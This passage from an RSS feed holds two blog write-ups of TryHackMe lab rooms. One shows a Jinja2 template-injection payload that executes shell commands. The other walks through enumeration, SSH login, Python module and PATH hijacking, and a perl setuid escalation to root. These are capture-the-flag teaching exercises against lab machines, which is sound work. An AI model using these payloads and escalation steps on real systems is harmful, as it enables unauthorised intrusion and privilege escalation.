href="http://10.10.241.123:5000/profile/Debanjan">http://10.10.241.123:5000/profile/</a>&lt;FUZZ&gt;</p><p>Now going to <a href="http://10.10.241.123:5000/profile/Debanjan">http://10.10.241.123:5000/profile/</a>$</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*FI3ygseOoFDl71w4liIQMg.png" /></figure><p><a href="http://10.10.241.123:5000/profile/Debanjan">http://10.10.241.123:5000/profile/</a>${</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*8-5d9k-87xDY-HDTQnhUzQ.png" /></figure><p><a href="http://10.10.241.123:5000/profile/Debanjan">http://10.10.241.123:5000/profile/</a>${{</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YIgN7ECNeyohdp9dcPXcnw.png" /></figure><p><a href="http://10.10.241.123:5000/profile/Debanjan">http://10.10.241.123:5000/profile/</a>{{</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZxRGMZq4kZT5JfEq1hAr_w.png" /></figure><p>for “${{” and “{{” we got a 500 Internal Server Error.</p><p>So, the ans is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r09u_bl6xCXYHUYgAPbQJw.png" /></figure><h3>TASK: 3</h3><p>Now we have to find what template engine is being used in this application. lets try to inject 7*7 in URL.</p><blockquote><a href="http://10.10.241.123:5000/profile/%7B%7B7*7%7D%7D">http://10.10.241.123:5000/profile</a>/{{7*7}}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*rNvmzzmmFno-PzpIJTyD3w.png" /></figure><blockquote><a href="http://10.10.241.123:5000/profile/%7B%7B7*7%7D%7D">http://10.10.241.123:5000/profile</a>/${{7*7}}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*onK6VKdSXNYYfAbx8pLiKA.png" /></figure><p>It displays the result of 7*7. It means it is vulnerable. And it’s syntax is {{7*7}}. So template engine is being used in this application is <strong>jinja2</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oF9eMATQtxW6REEtxAnwjw.png" /></figure><h3>TASK: 4</h3><p>In this site <a href="https://jinja.palletsprojects.com/en/2.11.x/templates/#comments">https://jinja.palletsprojects.com/en/2.11.x/templates/#comments</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*ipjNKh9x1BhLQvj0t5CDZg.png" /></figure><p>So to comment in jinja2 we have to use <strong>{#</strong> in start and <strong>#}</strong> in end.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BObtA4aNpQOugqC3w9tGtA.png" /></figure><h3>TASK: 5</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lF7N65QwSqNbxC3w4gRm9A.png" /></figure><p>Now go to the url</p><blockquote>http://10.10.241.123:5000/profile/{{ &#39;&#39;.__class__.__mro__[1].__subclasses__()[401](&quot;whoami&quot;, shell=True, stdout=-1).communicate() }}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*-qGRuMtQH8kxhKJr0PZo7A.png" /></figure><p>So the result of the “whoami” shell command is <strong>jake</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eQ9e3R3RPphXCjdl7z_VYg.png" /></figure><h3>TASK: 8</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*xsKDy-ba7hY3iPDig4Z6qw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6655LNQV8rnK7aCcC0Tipw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8783ab375591" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me: Wonderland]]></title>
            <link>https://medium.com/@thack4010/try-hack-me-wonderland-27dc18691a65?source=rss-d8061c28554------2</link>
            <guid isPermaLink="false">https://medium.com/p/27dc18691a65</guid>
            <dc:creator><![CDATA[Debanjan Kotal]]></dc:creator>
            <pubDate>Wed, 11 Jan 2023 06:46:08 GMT</pubDate>
            <atom:updated>2023-01-11T07:20:10.594Z</atom:updated>
            <content:encoded><![CDATA[<p>By Debanjan Kotal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LwggpP4tQ9AhvBOHFoLmRA.png" /><figcaption>Connect with Tryhackme VPN and starts the machine and get the ip</figcaption></figure><p>After getting the IP <strong>10.10.54.127 </strong>(in my case) our 1st job is doing a <strong>namp</strong> scan. So run this command in your linux terminal,</p><blockquote>sudo nmap -sC -sV -Pn 10.10.54.127</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-hYssH7fJab_C4bKsFkgDQ.png" /></figure><p>It shows two ports are open 22 &amp; 80 and a http service is running on port 80. So let open this ip in browser with this url <a href="http://10.10.54.127/">http://10.10.54.127/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vpbUay-HVNocTxyVgHbDsA.png" /></figure><p>Here we find nothing interesting so let check the source code of this site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yK3rgs8AuS6jmBgTLsyQ2w.png" /><figcaption>To view this page just right click on the website and click on <strong>view page source.</strong></figcaption></figure><p>Here also we found nothing interesting. Now we have to find directories inside this website <a href="http://10.10.54.127/">http://10.10.54.127/</a> . To do this we use a tool called <strong>gobuster. </strong>So run this command in your linux terminal,</p><blockquote>gobuster -u <a href="http://10.10.54.127/">http://10.10.54.127/</a> -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5AXE4KGyL7XwNYuV-JZk-w.png" /></figure><p>Here we find a directory <strong>/r</strong> inside this site. Let open it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*y5_85fGbVyZo6JZUPFiHRA.png" /></figure><p>It seems like we have to do again a directory search against this site. So run this command,</p><blockquote>gobuster -u http://10.10.54.127/r -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e2nCV9IpUtx8NF8oND1Wrg.png" /></figure><p>We found another <strong>/a</strong> directory inside <strong>/r</strong> . As it’s a CTF we can guess by the images and the starting letters it seems telling us <strong>ra</strong>bbit. Or we can do directory search again and again but we go directly to this website <a href="http://10.10.117.149/r/a/b/b/i/t/">http://10.10.117.149/r/a/b/b/i/t/</a> . Let see in the browser what interesting we can find.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fMIljwx70GQs_tQVoyBC_A.png" /></figure><p>So here we also find a web page as well. Let check its page source.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4U0xs6V8iy81H-WzAeIPoQ.png" /></figure><p>Here in line 15 we can see a hidden text <strong>alice:How***************************************Tail</strong> it seams like the <strong>username</strong> is <strong>alice</strong> and the <strong>password</strong> is <strong>How***************************************Tail</strong></p><p>Let try to login with ssh by this credentials.</p><blockquote>ssh alice@10.10.117.149</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vVuyCgpUUxur6VX4br3g5Q.png" /></figure><p>Yes, now we are login successfully. Let check for what inside in present working directory.</p><blockquote>ls -la</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*M7eilHqP3GA4JLpBfDqfLA.png" /></figure><p>Here we find a file <strong>root.txt</strong> but we don’t have the permission to open it. The root.txt file is in user directory so being a CTF very much possible that user.txt is in /root directory. So let try to open it.</p><blockquote>cat /root/user.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*BluWhSIcwY-NINu2m9d1Ng.png" /></figure><p>Here we find our 1st flag. Copy-pest to the Try hack me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9M28rRXMSFiUhX0IrnhDmw.png" /></figure><p>Let try to gain root privilege. 1st check <strong>sudo</strong> privileges by typing <strong>sudo -l</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*87_Hww_ZrYZ_DErh6AYeAQ.png" /><figcaption>use the alice password</figcaption></figure><p>We can see the python file <strong>walrus_and_the_carpenter.py </strong>can run with sudo but by the user rabbit<strong>. </strong>let have a look to this python file.</p><blockquote>cat walrus_and_the_carpenter.py</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*6h9kixlHdWu_tPXsmxX8Bg.png" /></figure><p>Here have a poem but in the 1st line a module <strong>random</strong> is imported and in the last line it is called. We cat create our own <strong>random</strong> module and can make our <strong>random</strong> module to call by this <strong>walrus_and_the_carpenter.py</strong> file by default. Let create a python file <strong>random.py</strong> in the present directory.</p><blockquote>nano random.py</blockquote><p>We do a few line of code in this file to generate a shell.</p><blockquote>import os<br>os.system(“/bin/bash”)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nWwqIFn5L2Dr51UnDK_nvg.png" /></figure><p>Let run the <strong>walrus_and_the_carpenter.py </strong>file by the user rabbit<strong>.</strong></p><blockquote>sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*co6LChAT6-RVdtpzfwBhCg.png" /><figcaption>use the alice password</figcaption></figure><p>Now we are <strong>rabbit</strong> user. Let go to <strong>rabbit</strong>’s home directory and check what inside that.</p><blockquote>cd /home/rabbit/</blockquote><blockquote>ls -la</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*etxmxWsKPfapy67gFLT8Sw.png" /></figure><p>Here we get a interesting file <strong>teaParty</strong> which have the executable permission for others. Let see inside this file.</p><blockquote>cat teaParty</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U8NYA4eGAy2yMhGvbP29Qg.png" /></figure><p>Just look at this<strong> /bin/echo -n ‘Probably by ‘ &amp;&amp; date — date=’next hour’. </strong>It seems like it calls “date”. Let create my own date file to execute with <strong>teaParty</strong>.</p><blockquote>nano date</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*9oYo1mNYbfggApFXkHAGxg.png" /></figure><p>Now give this date file executable permission.</p><blockquote>chmod +x date</blockquote><p>Now export the path of <strong>date</strong> file to $PATH</p><blockquote>export PATH=/home/rabbit:$PATH</blockquote><blockquote>$PATH</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uNsCfKwOyZH2rr2qXMQqjQ.png" /></figure><p>Now run the <strong>teaParty</strong> again.</p><blockquote>./teaParty</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*wnbjDbMKwnhT0j89pdJnbg.png" /></figure><p>Now we are <strong>hatter</strong> user. Let go to <strong>hatter’</strong>s home directory and check what inside that.</p><blockquote>cd /home/hatter/</blockquote><blockquote>ls -la</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*4fgzICCUsglt4Fyx6Q-3Mw.png" /></figure><p>Here we found a <strong>password.txt</strong> file. It’s may contain hatter’s password.</p><blockquote>cat password.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*3d-YM94EDHKoceILnTdLEw.png" /></figure><p>Lets try <strong>sudo -l</strong> by this password.</p><blockquote>sudo -l</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*juU0AlzivkmQ6-R33ErVKQ.png" /></figure><p>So sudo is not allowed for user hatter. Lets find what capabilities are allowed for this user.</p><blockquote>getcap -r / 2&gt;/dev/null</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*DCFD-59_boqql-V0THLpBg.png" /></figure><p>We can see this hatter user have the capabilities to run <strong>perl</strong>. Let search in <strong>GTFOBins</strong> about <strong>perl</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*QeORcflJSNG6RelI5vfWMw.png" /></figure><p>Now run</p><blockquote>/usr/bin/perl -e ‘use POSIX qw(setuid); POSIX::setuid(0); exec “/bin/sh”;’</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NjjTxoRP25gzLBzWKj04Ng.png" /></figure><p>If this not work we need to connect by ssh again by the username<strong> hatter</strong> and the credentials of <strong>password.txt</strong></p><p>Now open the final flag root.txt</p><blockquote># cat /home/alice/root.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*N-j7SwgRxoisg5Zrg-RXbg.png" /></figure><p>And the room is solved here.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27dc18691a65" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>